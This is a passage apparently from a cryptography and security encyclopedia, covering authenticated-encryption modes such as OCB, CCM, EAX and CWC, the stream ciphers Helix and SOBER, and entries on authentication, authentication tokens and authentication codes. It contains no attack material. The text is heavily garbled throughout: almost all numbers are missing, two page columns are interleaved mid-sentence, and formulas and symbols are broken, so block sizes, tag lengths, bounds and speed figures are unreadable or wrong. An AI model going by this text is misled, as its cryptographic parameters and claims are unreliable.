scheme called OCB (Offset CodeBook). This work was a Two-Pass Combined Modes
follow-on to Jutlas IAPM scheme, designed to be fully par- If we have highly efficient single-pass AE modes, why
allelizable, along with a long list of other improvements. In would researchers subsequently work to develop less effi-
comparison to IAPM, OCB uses a single block-cipher key, cient multi-pass AE schemes? Well, as we just discussed,
provides a message space of so we never have to pad, this work was entirely motivated by the desire to provide
and is nearly endian-neutral. Once again, a full detailed patent-free AE schemes. The first such scheme proposed
proof of security is included in the paper, demonstrating was CCM (CBC MAC with Counter Mode) by Ferguson,
that the security of OCB is directly related to the security Housley, and Whiting. Citing several drawbacks to CCM,
of the underlying block cipher. Bellare, Rogaway, and Wagner proposed EAX, another
OCB is no doubt the most aggressively optimized patent-free mode which addresses these drawbacks. And
scheme of those discussed in this section. Performance independently, Kohno, Viega, and Whiting proposed the
tests indicate that OCB is about .% slower than CBC CWC mode (CarterWegman with Counter mode encryp-
mode encryption, and this is without exploiting the paral- tion). CWC is also patent-free and, unlike the previous two
lelism that OCB offers up. For more information, one can modes, is fully parallelizable. We now discuss each of these
find an in-depth FAQ, all relevant publications, reference modes in turn.
code, test vectors, and performance figures on the OCB
Web page at http://www.cs.ucdavis.edu/~rogaway/ocb/. CCM Mode
CCM was designed with AES specifically in mind. It there-
Associated data fore is hard-coded to assume a -bit block size, though it
In many settings, the ability to handle associated data could be recast for other block sizes. Giving all the details
is crucial. Rogaway [] suggests methods to handle of the mode would be cumbersome, so we will just present
the overriding ideas. For complete details, see the CCM despite this normally risky practice. The CCM specifica-
specification []. tion does not include performance data or a proof of secu-
rity. However, a rigorous proof was published by Jonsson
[]. CCM is currently the mandatory mode for the .
A
CCM is parameterized
wireless standard as well as currently being considered by
It requires that you specify a -bit block cipher (e.g.,
NIST as a FIPS standard.
AES), a tag length (which must be one of , , , , , ,
or ), and the message-length fields size (which induces
EAX Mode
an upperbound on the message length). Like all other
Subsequent to the publication and subsequent popularity
schemes we mention, CCM uses a nonce N each time it
of CCM, three researchers decided to examine the short-
is invoked, and the size of N depends on the parameters
comings of CCM and see if they could be remedied. Their
chosen above; specifically, if we choose a longer maximum
offering is called EAX [] and addresses several perceived
message length, we must accept a shorter nonce. It is left
problems with CCM, including the following:
to the user to decide which parameters to use, but typical
values might be to limit the maximum message length to . If the associated data field is fixed from message to mes-
MB and then use a -bit nonce. sage, CCM does not take advantage of this, but rather
Once the parameters are decided, we invoke CCM by reprocesses this data anew with each invocation.
providing four inputs: the key K which will be used with . Message lengths must be known in advance because
AES, the nonce N of proper size, associated data H which the length is encoded into the first block before pro-
will be authenticated but not encrypted, and the plaintext cessing begins. This is not a problem in some settings,
M which will be authenticated and encrypted. CCM oper- but in many applications we do not know the message
ates in two passes: First, we encode the above parameters length in advance.
into an initial block, prepend this block to H and M, and . The parameterization is awkward and, in particular, the
then run CBC MAC over this entire byte string using K. trade-off between maximum message length and the
This yields the authentication tag . (The precise details of size of the nonce seems unnatural.
how the above concatenation is done are important for the . The definition of CCM (especially the encodings of
security of CCM, but are omitted here.) the parameters and length information in the message
Next, we form a counter-value using one of the before it is processed) is complex and difficult to under-
schemes parameters along with N and any necessary stand. Moreover, the correctness of CCM strongly
padding to reach bits. This counter is then used with depends on the details of this encoding.
CTR mode encryption on (M) under K to produce the
Like CCM, EAX is a combination of a type of CBC MAC
ciphertext. The first bits are the authentication tag,
and CTR mode encryption. However, unlike CCM, the
and we return the appropriate number of bytes according
MAC used is not raw CBC MAC, but rather a variant. Two
to the tag-length parameter. The subsequent bytes are the
well-known problems exist with CBC MAC: () all mes-
encryption of M and are always included in the output.
sages must be of the same fixed length and () length must
Decryption and verification are quite straightforward:
be a positive multiple of n. If we violate the first property,
N produces the counter-value and allows the recovery
security is lost. Several variants to the CBC MAC have
of M. Rerunning CBC MAC on the same input used above
been proposed to address these problems: EMAC [, ]
allows verification of the tag.
adds an extra block-cipher call to the end of CBC MAC to
solve problem (). Not to be confused with the AE mode
Comments on CCM of the same name above, XCBC [] solves both problems
It would seem that CCM is not much better than sim- () and () without any extra block-cipher invocations, but
ple generic composition; after all, it uses a MAC scheme requires k + n key bits. Finally, OMAC [] improves
(the CBC MAC) and an encryption scheme (CTR mode XCBC so that only k bits of key are needed. The EAX
encryption), which are both well known and provably designers chose to use OMAC with an extra input called
secure modes. But CCM does offer advantages over the a tweak which allows them to essentially get several dif-
straightforward use of these two primitives generically ferent MACs by using distinct values for this tweak input.
composed; in particular, it uses the same key K for both This is closely related to an idea of Liskov et al. who
the MAC and the encryption steps. Normally this prac- introduced tweakable block ciphers [].
tice would be very dangerous and unlikely to work, but We now describe EAX at a high level. Unlike CCM, the
the designers were careful to ensure the security of CCM only EAX parameters are the choice of block cipher, which
may have any block size n, and the number of authentica- The function family they settled on is the well-known poly-
tion tag bits to be output, . To invoke EAX, we pass in a nomial hash. Here a function from the family is named by
nonce N n , a header H which will be authenti- choosing a value for x in some specified range, and then
cated but not encrypted, and the message M which the polynomial
will be authenticated and encrypted, and finally the key K,
Y x + Y x + + Y x + Y+
appropriate for the chosen block cipher. We will be using
OMAC under key K three times, each time with a dif- is computed modulo some integer (modular arithmetic),
ferent tweak, written OMACK , OMACK , and OMACK ; typically a prime number. The specific family chosen by
it is conceptually easiest to think of these three OMAC the CWC designers fixes Y , . . . , Y to be -bit integers,
invocations as three separate MACs, although this is not and Y+ to be a -bit integer; their values are determined
strictly true. First, we compute OMACK (N) to obtain the by the message being hashed. The modulus is set to the
counter value we will use with CTR mode encryption. prime, .
Then we compute H OMACK (H) to get an authen- Although it is possible to evaluate this polynomial
tication tag for H. Then we encrypt and authenticate M quickly on a serial machine using Horners method (and
with C OMACK (CRTctr K (M)). And finally we output in fact, this may make sense in some cases), it is also
the first bits of = (ctr C H ) as the authentication possible to exploit parallelism in the computation of this
tag. We also output the nonce N, the associated data H, and polynomial. Assume n is odd and set m = (n )/ and
the ciphertext C. The decryption and verification steps are y = x mod . Then we can rewrite the function
quite straightforward. above as
Note that each of the problem areas cited above has
(Y ym + Y ym + + Y ) x
been addressed by the EAX mode: no restriction on mes-
+ (Y ym + Y ym + + Y+ ) mod
sage length, no interdependence between the tag length
and maximum message length, a performance savings This means that we can subdivide the work for evaluat-
when there is static header data, and no need for message ing this polynomial and then recombine the results using
length to be known up front. Also, EAX is arguably simpler addition modulo . Building a MAC from this hash
to specify and implement. Once again, proving EAX secure family is fairly straightforward, and therefore CWC yields
is more difficult than just appealing to proofs of security for a parallelizable scheme since CTR is clearly parallelizable.
generically composed schemes since the key K is reused in The CWC designers go on to provide benchmark data
several contexts which is normally not a safe practice. to compare CCM, EAX, and CWC on a Pentium III, show-
ing that the speed differences are not that significant. How-
ever, this is without exploiting any parallelism available
CWC Mode with CWC. They do not compare the speed of CWC with
The CWC Mode [] is also a two-pass mode: It uses a that of OCB, where we would expect OCB to be faster even
WegmanCarter MAC along with CTR mode encryption in parallel implementations.
under a common key K. Its main advantage over CCM CWC comes with a rigorous proof of security via a
and EAX is that it is parallelizable whereas the other two reduction to the underlying -bit block cipher (typically
are not (due to their use of the inherently sequential CBC AES/Rijndael), and the paper includes a readable discus-
MAC type algorithms). Also, CWC strives to be very fast sion of why the various design choices were made. In par-
in hardware, a consideration which was not given nearly ticular, it does not suffer from any of the above-mentioned
as much attention in the design of the other modes. In problems with CCM.
fact, the CWC designers claim that CWC should be able
to encrypt and authenticate data at Gbps in hardware, AE Primitives
whereas CCM and EAX will be limited to about Gbps Every scheme discussed up to this point has been a mode
because of their serial constraints. of operation. In fact with the possible exception of some of
As we discussed above in the section on generic com- the MAC schemes, every mode has used a block cipher as
position, WegmanCarter MACs require one to specify a its underlying primitive. In this section, we consider two
family of hash functions on a common domain and range. recently developed modes which are stream ciphers which
Typically, we want these functions to () be fast to compute provide authentication in addition to privacy. That is to say,
and () have a low collision probability. The CWC design- these are primitives which provide AE.
ers also looked for a family with additional properties: This immediately means there is no proof of their secu-
() parallelizability and () good performance in hardware. rity, nor is there likely to ever be one. The security of
primitives is usually a matter of opinion: Does the object the words of the resulting state, more blocks are gen-
withstand all known attacks? Has it been in use for a long erated using a fixed plaintext word based on the length
enough time? Have good cryptanalysts examined it? of M, with the key-stream of the four last blocks yielding
With new objects, it is often hard to know how much the -bit authentication tag.
A
trust to place in their security. Sometimes the schemes
break, and sometimes they do not. We will discuss two
SOBER-
schemes in this section: Helix and SOBER-. Both were
A competitor to Helix is an offering from Hawkes and Rose
designed by teams of experienced cryptographers who
called SOBER- []. This algorithm evolved from a fam-
paid close attention to their security as well as to their
ily of simple stream ciphers (i.e., ciphers which did not
efficiency.
attempt simultaneous authentication) called the SOBER
family, the first of which was introduced in by Rose.
Helix
SOBER- retains many of the characteristics of its ances-
Helix was designed by Ferguson et al. []. Their goal was to
tors, but introduces a method for authenticating messages
produce a fast, simple, patent-free stream cipher which also
as well. We will not describe the internals of SOBER-
provided authentication. The team claims speeds of about
but rather describe a few of its attributes at a higher
cycles per byte on a Pentium II, which is quite a bit faster
level.
than the fastest-known implementations of AES, which
SOBER- uses a linear-feedback shift register in
run at about cycles per byte. At first glance, this might be
combination with several nonlinear components, in par-
quite surprising: After all, AES does about table look-
ticular a carefully designed S-box which lies at its heart.
ups and -bit XORs to encipher byte. This means
To use SOBER- for AE one first generates a key-stream
AES uses about look-ups and XORs per byte. As we
used to XOR with the message M and then uses a sepa-
will see in a moment, Helix uses more operations than this
rate API call maconly to process the associated data. The
per-byte! But a key difference is that AES does memory
method of feeding back plaintext into the key-stream gen-
lookups from large tables which perhaps are not in cache
erator is modeled after Helix, and the authors are still eval-
whereas Helix confines its work to the register file.
uating whether this change to SOBER- might introduce
Helix takes a key K up to byte in length, and a byte
weaknesses.
nonce N and a message M ( ) . As usual, K will allow
Tests by Hawkes and Rose indicate that SOBER- is
the encryption of a large amount of data before it needs
comparable in speed to Helix; however, both are quite new
to be changed, and N will be issued anew with each mes-
and are still undergoing cryptanalytic scrutiny a cru-
sage encrypted, never to repeat throughout the life of K.
cial process when designing primitives. Time will help us
Helix uses only a few simple operations: addition mod-
determine their security.
ulo , exclusive-or of -bit strings, and bitwise rotations.
However, each iteration of Helix, called a block, uses
XORs, modular additions, and bitwise rotations by Beyond AE and AEAD
fixed amounts on -bit words. So Helix is not simple to Real protocols often require more than just an AE scheme
specify; instead we give a high-level description. or an AEAD scheme: Perhaps they require something that
Helix keeps its state in five -bit registers (the more resembles a network transport protocol. Desirable
designers were thinking of the Intel family of processors). properties might include resistance to replay and pre-
The ith block of Helix emits one -bit word of key-stream vention against packet loss or packet reordering. In fact,
Si , requires two -bit words scheduled from K and N, protocols like SSH aim to achieve precisely this.
and also requires the ith plaintext word Mi . It is highly Work is currently underway to extend AE notions to
unusual for a stream cipher to use the plaintext stream as encompass a broader range of such goals []. This is an
part of its key-stream generation, but this feature is what extension to the SSH analysis referred to above [], but
allows Helix to achieve authentication as well as generating considers the various EtM, MtE, and E&M approaches
a key-stream. rather than focusing on just one. Such research is another
As usual, the key-stream is used as a one-time pad to step in closing the gap between what cryptographers
encrypt the plaintext. In other words, the ith ciphertext produce and what consumers of cryptographic protocols
block Ci is simply Mi Si . The five-word state resulting require. The hope is that we will reach the point where
from block i is then fed into block i + and the pro- methods will be available to practitioners which relieve
cess continues until we have a long enough key-stream to them from inventing cryptography (which, as we have
encrypt M. At this point, a constant is XORed into one of seen, is a subtle area with many insidious pitfalls) and yet
allow them easy access to provably secure cryptographic . Black J, Rogaway P () CBC MACs for arbitrary-length mes-
protocols. We anticipate further work in this area. sages: the three-key constructions. In: Bellare M (ed) Advances
in cryptologyCRYPTO . Lecture notes in computer
science, vol . Springer, Berlin
Notes on References . Black J, Rogaway P () A block-cipher mode of oper-
Note that AE and its extensions continue to be an active ation for parallelizable message authentication. In: Knud-
area of research. Therefore, many of the bibliographic ref- sen L (ed) Advances in cryptologyEUROCRYPT . Lec-
ture notes in computer science, vol . Springer, Berlin,
erences are currently to unpublished preprints of works in
pp
progress. It would be prudent for the reader to look for . Black J, Urtubia H () Side-channel attacks on symmetric
more mature versions of many of these research reports to encryption schemes: the case for authenticated encryption. In:
obtain the latest revisions. Boneh D (ed) Proceedings of the eleventh USENIX security
symposium, pp , August
. Borisov N, Goldberg I, Wagner D () Intercepting mobile
Recommended Reading communications: the insecurity of .. In: MOBICOM. ACM
. Bellare M, Canetti R, Krawczyk H () Keying hash func- Press, New York, pp
tions for message authentication. In: Koblitz N (ed) Advances . Carter L, Wegman M () Universal hash functions. J Comput
in cryptologyCRYPTO. Lecture notes in computer science, Syst Sci :
vol . Springer, Berlin, pp . Ferguson N, Whiting D, Schneier B, Kelsey J, Lucks S, Kohno T
. Bellare M, Desai A, Pointcheval D, Rogaway P () Relations () Helix: fast encryption and authentication in a single
among notions of security for public-key encryption schemes. cryptographic primitive. In: Johansson T (ed) Fast software
In: Krawczyk H (ed) Advances in cryptologyCRYPTO. encryption, th international workshop, FSE . Lecture
Lecture notes in computer science, vol . Springer, Berlin, notes in computer science, vol . Springer, Berlin
pp . Gligor V, Donescu P () Fast encryption and authentica-
. Bellare M, Kilian J, Rogaway P () The security of the cipher tion: XCBC encryption and XECB authentication modes. In:
block chaining message authentication code. J Comput Syst Sci Matsui M (ed) Fast software encryption, th international work-
(JCSS) ():. Earlier version in CRYPTO. See www. shop, FSE . Lecture notes in computer science, vol .
cs.ucdavis.edu/~rogaway Springer, Berlin, , See www.ece.umd.edu/~gligor/
. Bellare M, Kohno T, Namprempre C () Authenticated . Goldwasser S, Micali S, Rivest R () A digital signature
encryption in SSH: provably fixing the SSH binary packet pro- scheme secure against adaptive chosen-message attacks. SIAM J
tocol. In: ACM conference on computer and communications Comput ():
security (CCS-). ACM Press, New York, pp . Halevi S () An observation regarding Jutlas modes of oper-
. Bellare M, Namprempre C () Authenticated encryption: ation. Cryptology ePrint archive, reference number /,
relations among notions and analysis of the generic composi- submitted February , , revised April , . See eprint.
tion paradigm. In: Okamoto T (ed) Advances in cryptology iacr.org
ASIACRYPT . Lecture notes in computer science, vol . . Hawkes P, Rose G () Primitive specification for SOBER-.
Springer, Berlin Available from http://www.qualcomm.com.au/Sober.html
. Bellare M, Rogaway P () Encode-thenencipher encryption: . Iwata T, Kurosawa K () OMAC: onekey CBC MAC. In:
how to exploit nonces or redundancy in plaintexts for effi- Johansson T (ed) Fast software encryption. Lecture notes in
cient encryption. In: Okamoto T (ed) Advances in cryptology computer science, vol . Springer, Berlin
ASIACRYPT . Lecture notes in computer science, vol . . Jonsson J () On the security of CTR + CBC-MAC. In:
Springer, Berlin, pp . See www.cs.ucdavis.edu/~rogaway Nyberg K, Heys HM (eds) Selected areas in cryptographySAC
. Bellare M, Rogaway P, Wagner D () EAX: a conventional . Lecture notes in computer science, vol . Springer,
authenticated-encryption mode. Cryptology ePrint archive, ref- Berlin, pp
erence number /, submitted April , , revised . Jutla C () Encryption modes with almost free message
September , . See eprint.iacr.org integrity. In: Pfitzmann B (ed) Advances in cryptology
. Bellovin S () Problem areas for the IP security protocols. In: EUROCRYPT . Lecture notes in computer science, vol .
Proceedings of the sixth USENIX security symposium. pp , Springer, Berlin, pp
July . Katz J, Yung M () Complete characterization of security
. Berendschot A, den Boer B, Boly J, Bosselaers A, Brandt J, notions for probabilistic private-key encryption. In: Proceed-
Chaum D, Damgrd I, Dichtl M, Fumy W, van der Ham M, ings of the nd annual symposium on the theory of computing
Jansen C, Landrock P, Preneel B, Roelofsen G, de Rooij P, (STOC). ACM Press, New York
Vandewalle J () Final report of race integrity primitives. In: . Kohno T, Palacio A, Black J () Building secure crypto-
Bosselaers A, Preneel B (eds) Lecture notes in computer science, graphic transforms, or how to encrypt and MAC. Cryptology
vol . Springer, Berlin ePrint archive, reference number /, submitted August ,
. Bernstein D () Floating-point arithmetic and message . See eprint.iacr.org
authentication. Available from http://cr.yp.to/hash.html . Kohno T, Viega J, Whiting D () Highspeed encryption
. Black J, Halevi S, Krawczyk H, Krovetz T, Rogaway P () and authentication: a patent-free solution for Gbps network
UMAC: fast and secure message authentication. In: Wiener J devices. Cryptology ePrint archive, reference number /,
(ed) Advances in cryptologyCRYPTO. Lecture notes in submitted May , , revised September , . See eprint.
computer science, vol . Springer, Berlin iacr.org
Authentication A
. Krawczyk H, Bellare M, Canetti R () HMAC: keyed hashing becoming more sophisticated, more rigorous schemes are
for message authentication. IETF RFC- needed to achieve authentication.
. Krawczyk H () The order of encryption and authentication
for protecting communications (or: How secure is SSL?). In:
Theory A
Kilian J (ed) Advances in cryptologyCRYPTO . Lecture
notes in computer science, vol . Springer, Berlin, pp Authentication aims at proving an entity is really the one
. Liskov M, Rivest R, Wagner D () Tweakable block ciphers. that he claims to be. Fundamentally, four methods are used
In: Yung M (ed) Advances in cryptologyCRYPTO . to achieve authentication: something an entity knows (e.g.,
Lecture notes in computer science, vol . Springer, Berlin,
password), something an entity has (e.g., id card), some-
pp
. Petrank E, Rackoff C () CBC MAC for real-time data
thing an entity is (biometrics such as fingerprints, iris, etc.),
sources. J Cryptol (): and something an entity produces (e.g., signature or hand-
. Rogaway P () Authenticated-encryption with associated- writing). To achieve strong authentication, one can use
data. In: ACM conference on computer and communications these methods in combination.
security (CCS-). ACM Press, New York, pp
Authentication serves as an initial phase to authoriza-
. Rogaway P, Bellare M, Black J () OCB: a block-cipher mode
of operation for efficient authenticated encryption. ACM T
tion, with which it is used as a means to provide access
Inform Syst Secur (TISSEC) (): control.
. Wegman M, Carter L () New hash functions and their use in
authentication and set equality. J Comp Syst Sci : Applications
. Whiting D, Housley R, Ferguson N () Counter with CBC-
Network communication finds itself an application in a
MAC (CCM). Available from csrc.nist.gov/encryption/modes/
proposedmodes/
wide variety of areas ranging from e-commerce to instant
messaging, from E-mail exchange to online consulting.
In practice, all such applications require comprehensive
authentication services. Several protocols exist to provide
authentication: Public Key Infrastructure (PKI), Kerberos,
Authentication Secure European System for Applications in a Multiven-
dor Environment (Sesame), Remote Authentication Dial
Ebru Celikel Cankaya
In User Service (RADIUS), and TACACS.
Department of Computer Science and Engineering,
PKI is based on asymmetric key scheme. It ensures the
University of North Texas, Denton, TX, USA
validity of users, by issuing a certificate to each legitimate
user. The certificate contains user information together
with his public key, and is signed by the certification
Synonyms authority (CA), which is a trusted third party. This certi-
Credential verification; Identity proof
fication mechanism ensures the authenticity of a user who
claims to have a certain public key in the PKI system.
Related Concepts Kerberos is another authentication system. Relying on
Access Control from an OS Security Perspective; symmetric key encryption, it simplifies the authentica-
Biometric Authentication tion process, and reduces the number of keys required (N
symmetric keys for N users), as compared to the more
Denition complicated PKI scheme (N key pairs for N users). Using
Authentication is the process of verifying an entitys iden- a single private key that is shared between a user and the
tity, given its credentials. The entity could be in the form Key Distribution Center (KDC), a user can request ticket
of a person, a computer, a device, a group of network from KDC to access system resources.
computers, etc. Sesame is an expansion of Kerberos. Similar to the
notion of ticket in Kerberos, Sesame issues a token for a
Background user that is authenticated by the authentication server. Still,
The need for authentication started with computers and it comes with its drawbacks, and later versions of Kerberos
as technology evolved and networks became more com- outperform Sesame.
mon, it gained more importance. In order to ensure a KryptoKnight is a product of IBM that is devel-
secure communication, computers need to authenticate oped for PP authentication purposes, and is embedded
each other. in NetSP.
The oldest and simplest method to provide authenti- Remote Authentication Dial In User Service (RADIUS)
cation is password login. As communication systems are is a comprehensive access control mechanism that is
A Authentication Token
also an IETF standard (RFC ). It employs a cen- Experimental Results

tralized server for authentication purposes, and is based There are many applications of authentication services.
on UDP. Based on various parameters as the technology available,
Terminal Access Controller Access Control System users skill level, time constraints, etc., certain authen-
(TACACS) is an authentication scheme that provides tication tools are used in certain environments. As an
a server-based authentication service. The authentica- example, VeriChip uses RFID technology by injecting a
tion service provided by TACACS is connection oriented microchip that transmits RFID signals through human
(based on TCP). Therefore, it provides guaranteed oper- skin for authentication purposes. It provides guaranteed
ation as opposed to the best effort service provided by access control mechanism, since it will prevent one from
UDP-based RADIUS. forgetting the password, not carrying it with him, or have
Authentication protocols are prone to security attacks it stolen by an adversary.
such as masquerading (spoofing), which is essentially a MIT implemented a belly button ring identifier that
man-in-the-middle attack. The spoofing attack can be pre- transmits low power signals to a cellular phone, which
vented by employing the message authentication code eventually authenticates the user to the network. Although
(MAC), which is also known as the keyed hash. this system is very practical, it has security issues since any
Role-Based Access Control (RBAC) is another tech- reader can identify a certain user who transmits signals
nique that is employed in providing authentication, espe- via its belly button ring.
cially in database systems. This approach relies on a set Knowledge-based authentication is very straightfor-
of role definitions that are preassigned based on various ward: User to be authenticated needs to know and
credentials. When one attempts access, his credentials are remember a password, and further keep this password safe.
matched with the existing roles, and he is granted with the Obviously, it requires strict restrictions on using, saving,
highest role his credentials match. and destroying in order for it to be considered as a secure
authentication scheme.
When passwords are used for authentication, means
Open Problems and Future Directions to protect passwords become very important. Techniques
Authentication is one of the fundamental security ser- such as password hashing are available to secure passwords
vices. Various techniques are employed to provide con- themselves.
trolled access to systems that need authenticated user
access. Recommended Reading
Providing authentication in distributed environments . Garman J () Kerberos: the definitive guide. OReilly,
is more complicated, since it involves users with dynam- Sebastopol
ically changing roles. So, extended methods need to be . Stamp M () Information security: principles and practice.
explored for authentication in such systems. Wiley, Hoboken
. Stewart JM, Tittel E, Chapple M () CISSP: certified informa-
Research continues on investigating novel approaches
tion systems security professional study guide, th edn. Sybex,
to be used as a basis to achieve authentication. Natural Lan- San Francisco
guage Processing (NLP) is one of them: One can encode . Whitman ME, Mattord HJ () Principles of information secu-
random and usually hard-to-remember passwords with an rity, rd edn. Thomson Course Technology, Boston
easier-to-recall word (called as mnemonic) by using NLP . Todorov D () Mechanics of user identification and authen-
tication: fundamentals of identity management. Auerbach Publi-
techniques.
cations, Boca Raton
Studies are conducted to authenticate users via trusted
computing platforms, such as personal digital assistants
(PDAs) and Wireless LAN cards. In such systems, a hard-
ware component is used as an authenticator. So, user
involvement is minimized to eliminate intended or unin-
Authentication Token
tended misleadings.
Radio Frequency Identification (RFID) is another Robert Zuccherato
future direction that authentication follows. Using wireless Carle Crescent, Ontario, Canada
infrastructure provides fast, practical, and easy authentica-
tion. But due to the fact that wireless transmission is more
susceptible to security attacks, RFID authentication may Synonyms
become unreliable. Security token
Authentication, From an Information Theoretic Perspective A
Related Concepts and Keywords human user. In such situations, it is necessary to provide a
Authentication; Credentials; Identity Verification storage mechanism to maintain the users private informa-
Protocol; Password tion, which can then be used when required in an identity
verification protocol (as in []). This storage mechanism
A
Denition can be either a software file containing the private infor-
The term authentication token can have at least three mation and protected by a memorable password, or it can
different definitions, but is generally used to refer to an be a hardware device (e.g., a smart card) and is sometimes
object that is used to authenticate one entity to another called an authentication token.
(Authentication). The various definitions for authen- In addition to making many identity verification pro-
tication token include the credentials provided to an tocols usable by human end entities, these authentication
authenticating party as part of an identity verification pro- tokens have another perhaps more important benefit. As
tocol, a data structure provided by an authentication server successful completion of the protocol now usually involves
for later use in authenticating to a different application both something the end entity has (the file or device) and
server, and a physical device or computer file used to something the end entity knows (the password or PIN
authenticate oneself. to access the smart card), instead of just something the
end entity knows, the actual security of the authentication
Theory mechanism is increased. In particular, when the token is a
In most identity verification or authentication protocols, hardware device, obtaining access to that device can often
the entity being authenticated must provide the authenti- be quite difficult, thereby providing substantial protection
cating entity with some proof of the claimed identity (as from attack.
in [, ]). This proof will allow the authenticating party
to verify the identity that is being claimed and is some- Recommended Reading
times called an authentication token. Examples of these . ISO/IEC - () Information technology security tech-
types of authentication tokens include functions of shared niques entity authentication Part : General
secret information, such as passwords, known only to the . FIPS () Entity authentication using public key cryp-
authenticating and authenticated parties, and responses to tography. Federal Information Processing Standards Publication
, U.S. Department of Commerce/NIST, National Technical
challenges that are provided by the authenticating party, Information Service, Springfield, Virginia
but which could only be produced by the authenticated . MRaihi D, Bellare M, Hoornaert F, Naccache D, Ranen O ().
party. HOTP: an HMAC-based one-time password algorithm. RFC
In some security architectures, end users are authenti-
cated by a dedicated authentication server by means of an
identity verification protocol. This server then provides the
user with credentials, sometimes called an authentication Authentication, From an
token, which can be provided to other application servers
Information Theoretic
in order to authenticate to those servers. Thus, these cre-
dentials are not unlike those described above, which are
Perspective
provided directly by the end user to the authenticating
party, except in that they originate with a third party, the Gregory Kabatiansky , Ben Smeets

authentication server. Dobrushin Mathematical Lab, Institute for Information
Usually these tokens take the form of a data struc- Transmission Problems RAS, Moscow, Russia

ture that has been digitally signed (Digital Signature Department of Information Technology, Lund
Schemes) or MACed (MAC Algorithms) by the authenti- University, Lund, Sweden
cation server and thus vouch for the identity of the authen-
ticated party. In other words, the authenticated party can
assert his/her identity to the application server simply by Synonyms
presenting the token. These tokens must have a short life- Information integrity
time, since if they are stolen they can be used by an attacker
to gain access to the application server. Denition
Quite often the credentials that must be provided to Information authentication aims to verify with high prob-
an authenticating party are such that they cannot be con- ability that particular information is authentic, i.e., has not
structed using only data that can be remembered by a been changed.
A Authentication, From an Information Theoretic Perspective
Background For this scheme, PI = PS = q and the scheme is optimal

There is a rather common saying that cryptology has two for both parameters for PI this is obvious and for PS this

faces. The first (and better known) face is cryptography follows from the square-root bound PS / n which is
in its narrow sense which aims to protect data (informa- also derived in Ref. []. Although this scheme is optimal
tion) from being revealed to an opponent. The second (meets this bound with equality), it has a serious drawback
face, known as authentication (also as known a informa- when being applied in practice since its key size (which is
tion integrity), should guarantee with some confidence equal to log n = log q) is twice larger than the message
that given information is authentic, that is, has not been size.
altered or substituted by the opponent. This confidence For a long time (see [, ]), no known schemes (codes)
may depend on the computing power of the opponent (e.g., had a key size that was much smaller than the message
in a digital signature schemes this is the case) or not. The size. Schemes that did allow this were first constructed in
latter is called unconditional authentication and makes use Ref. []. They made use of a very important relationship
of symmetric cryptosystems. between authentication codes and error-correcting codes
(ECC, shortly)(see [] and cyclic codes).
By definition (see []), an authentication code
Theory
(A-code, for short) is a q-ary code V over the alphabet Z
The model of unconditional authentication schemes (or,
codes) consists of a sender, a receiver, and an opponent. (Z = q) of length n consisting of M codewords v(m) =
( f (m), . . . , fn (m)), m M. Almost without loss of gener-
The last one can observe all the information transmitted
ality one can assume that all words in the A-code V have
from sender to receiver; it is assumed (following Kerkhoff s
maxim) that the opponent knows everything, even the
a uniform composition, that is, all characters from the
alphabet Z appear equally often in every codeword (more
original(plain) message (this is called authentication with-
formally, {i : vi = z} = n/q for any v V and any
out secrecy), but he/she does not know the used key.
z Z). This is equivalent to saying that PI takes on its
There are two kinds of possible attacks by the oppo-
minimal possible value q . Define the relative A-distance
nent. One speaks about an impersonation attack when
the opponent sends a message in the hope that it will be between vectors x = (x , . . . , xn ) and y = (y , . . . , yn ) as
A (x, y) = n q(x, y), where
accepted by the receiver as a valid one. In a substitution
attack the opponent observes a transmitted message and
(x, y) = max

{{i : xi = z, yi = z }.
then replaces it with another message. For authentication z,z Z
purposes, it is enough to consider only so-called system- Then the maximal probability of success of a substitution
atic authentication codes in which the transmitted message by the opponent is
has the form (m; z), where m is chosen from the set M
of possible messages and z = f (m) is its tag (a string PS = A (V),
of parity-check symbols in the language of coding the-
ory). Let Z be the tag-set and let F = {f , . . . , fn } be a where the minimum relative A-distance A (V) of the code
set of n encoding maps fi : M Z. To authenticate (or V is defined as
encode) message m, the sender chooses randomly one of
A (V) = min A (v, v ).
the encoding mappings fi (the choice is in fact the secret vv V
key unknown to the opponent). One may assume without
The obvious inequality dA (V) = n A (V) dH (V), with
loss of generality that these encoding maps fi are chosen
dH (V) the minimum Hamming distance of V, allows one to
uniformly. The corresponding probabilities of success for
apply known upper bounds for ECC to systematic A-codes
impersonation and substitution attacks are denoted by PI
and re-derive known nonexistence bounds for authenti-
and PS , respectively. The first examples of authentication
cation codes as well as obtain new bounds (see [, ] for
codes were given in Ref. [], among them the following
optimal scheme (known as affine scheme). details).
On the other hand, the q-twisted construction pro-
Let the set M of messages and the set Z of tags coin-
posed in [] turns out to be a very effective tool to construct
cide with the finite field Fq of q elements (hence q should
good authentication codes from ECC (in fact many known
be a prime power). The set F of encoding mappings con-
authentication schemes are implicitly or explicitly based on
sists of all possible affine functions, that is, mappings of
the q-twisted construction). Let C be an error-correcting
the form
code of length m over Fq with the minimal Hamming dis-
fa,b (m) = am + b. tance dH (C) and let U be its subcode of cardinality q C
Authorizations A
such that for all U U and all Fq vectors u + are dis- . Bassalygo LA, Burnashev MV () Authentication, identi-
tinct and belongs to C, where is the all-one vector. Then fication and pairwise separated measures. Prob Inf Transm
():
the following q-ary code VU := {(u + , . . . , u + q ) :
u U} (where , . . . , q are all different elements of the
. den Boer B () A simple and key-economical unconditionally A
authentication scheme. J Comput Secur ():
field Fq ) of length n = mq is called a q-twisted code and . Vladuts SG () A note on authentication codes from alge-
considered as A-code generates the authentication scheme braic geometry. IEEE Trans Inf Theory :
[] for protecting U messages with the number of keys . Niederreiter H, Xing C () Rational points on curves over
finite fields. London mathematical society lecture note series,
n = mq providing probabilities
vol . Cambridge University Press, Cambridge
dH (C) . Stinson DR () Universal hashing and authentication codes.
PI = /q, PS = . Designs Codes Cryptogr :
m
Application of the q-twisted construction to many
optimal ECC (with sufficient large minimal code distance)
produces optimal or near-optimal authentication codes.
For instance, ReedSolomon codes generate authentication Authorization
schemes which are the natural generalization of the afore-
mentioned affine scheme (namely, k = ) and have the Access Control
following parameters ([, ]) :
The number of messages is qk , the number of keys is q
and the probabilities PI = /q, PS = k/q, where k + is Authorizations
the number of information symbols of the corresponding
ReedSolomon code. Sabrina De Capitani di Vimercati
ReedSolomon codes are a particular case of algebraic- Universit degli Studi di Milano, Crema (CR), Italy
geometry (AG) codes and the corresponding application
of q-twisted construction to AG codes leads to an asymp-
totically very efficient class of schemes with the important,
additional property of being polynomial constructible (see Synonyms
[, ]). Access control rules
To conclude, we note that there is also another equiva-
lent language to describe and investigate unconditional
Related Concepts
authentication schemes, namely, the notion of almost
